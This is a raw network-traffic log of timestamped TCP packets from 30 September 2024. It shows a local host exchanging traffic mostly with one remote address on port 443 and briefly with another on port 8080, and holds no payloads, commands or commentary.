Sep 30, 2024 15:50:38.009685993 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.009701967 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.011838913 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.014323950 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.014379025 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.014406919 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.014441967 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.014486074 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.015685081 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.015685081 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.015685081 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.015685081 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.015685081 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.015691996 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.020678997 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.021022081 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.021096945 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.024677038 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.024677038 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.080540895 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.080552101 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.084511042 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.084517002 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.184762955 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.184819937 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.184830904 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.184844017 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.184855938 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.184890985 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.184895039 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.184926033 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.185520887 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.185554028 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.185565948 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.185595036 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.185599089 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.185631037 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.186135054 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.186167002 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.186180115 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.186206102 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.186211109 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.186249018 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.186254025 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.186294079 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.200870037 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.200918913 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.275333881 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.275414944 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.275456905 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.275473118 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.275484085 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.275518894 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.275523901 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.275557995 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.276141882 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.276196957 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.276204109 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.276238918 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.276252985 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.276290894 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.380487919 CEST	49772	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.380513906 CEST	443	49772	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.409482002 CEST	49773	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.409497976 CEST	443	49773	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.466932058 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.466973066 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.467051983 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.467164040 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.467201948 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.467283964 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.536494970 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.536515951 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:38.536556959 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:38.536588907 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.040235996 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.040366888 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.040787935 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.040832996 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.041686058 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.041696072 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.042002916 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.042009115 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.046696901 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.046705008 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.047993898 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.048000097 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.141861916 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.142107010 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.142462969 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.142493010 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.142493010 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.142493010 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.142508984 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.143229961 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.143256903 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.143256903 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.143268108 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.143739939 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.143739939 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.143752098 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.144154072 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145061970 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145133018 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.145163059 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145199060 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.145221949 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145258904 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.145297050 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145330906 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.145337105 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.145375013 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.146212101 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.146258116 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.147788048 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.147789001 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.147803068 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.149126053 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.154192924 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.154306889 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.154310942 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.154361963 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.173613071 CEST	49774	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.173655033 CEST	443	49774	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.174391031 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.174432993 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.174489975 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.174879074 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.174889088 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.229984999 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230032921 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230058908 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230099916 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230098963 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.230122089 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230148077 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.230211973 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.230222940 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.230305910 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.236990929 CEST	49775	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.237015009 CEST	443	49775	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.305340052 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.305401087 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.305466890 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.436460972 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.436487913 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.632988930 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.633398056 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.688544035 CEST	49739	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:39.739012957 CEST	8080	49739	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:39.895611048 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.895720005 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.956825972 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.956840992 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.958090067 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.958096027 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.979377031 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.979408026 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:39.980923891 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:39.980930090 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.317933083 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.317994118 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318023920 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318037987 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318037987 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318047047 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318074942 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318105936 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318105936 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318115950 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318759918 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318797112 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318797112 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318802118 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318804026 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318824053 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318864107 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318880081 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318887949 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318887949 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318903923 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318916082 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318948984 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318965912 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318973064 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.318981886 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.318994999 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319010019 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319015980 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319036961 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319071054 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319084883 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319117069 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319122076 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319154024 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319159985 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319190025 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319194078 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319201946 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319222927 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319247007 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.319252014 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.319283009 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332590103 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332643986 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332674026 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332674026 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332686901 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332703114 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332726002 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332731009 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332736969 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332761049 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332779884 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332784891 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332819939 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332918882 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332951069 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.332956076 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.332998991 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.333103895 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.333142042 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.333148003 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.333173990 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.333193064 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.333216906 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.408508062 CEST	49777	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.408529997 CEST	443	49777	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.408550978 CEST	49776	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.408572912 CEST	443	49776	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.448868990 CEST	8080	49739	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:40.448981047 CEST	49739	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:40.468985081 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.469022989 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.469111919 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.469427109 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.469456911 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.469641924 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.470659971 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.470674038 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.665307999 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.665326118 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.935735941 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.935837030 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.945502043 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.945513010 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:40.946856022 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:40.946860075 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.043246984 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.043330908 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.043337107 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.043348074 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.043515921 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.043528080 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.043661118 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.044039965 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.044086933 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.044255018 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.044298887 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.044302940 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.044383049 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.044387102 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.044465065 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.045161963 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.045206070 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.052148104 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.052211046 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.052215099 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.052253008 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.074443102 CEST	49779	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.074485064 CEST	443	49779	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.120388985 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.120424032 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.120486975 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.121193886 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.121207952 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.131659985 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.131726027 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.178617001 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.178647041 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.179843903 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.179853916 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.277460098 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.277524948 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.278196096 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.278245926 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.278341055 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.278379917 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.278402090 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.278434992 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.278451920 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.278492928 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.278503895 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.278546095 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.279262066 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.279304981 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.279726982 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.279767036 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.279774904 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.279815912 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.279820919 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.279855967 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.280388117 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.280430079 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.280440092 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.280476093 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.291692972 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.291760921 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.291763067 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.291801929 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.385337114 CEST	49778	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.385374069 CEST	443	49778	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.400861979 CEST	49781	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.400908947 CEST	443	49781	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.400989056 CEST	49781	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.401176929 CEST	49781	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.401196003 CEST	443	49781	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.582889080 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.583106041 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.603655100 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.603677034 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.605562925 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.605575085 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.700939894 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.701034069 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.705920935 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.705931902 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.705975056 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.706022978 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.706049919 CEST	443	49780	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:41.706068039 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.706094027 CEST	49780	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:41.790657043 CEST	443	49780	185.199.110.154	192.168.2.7
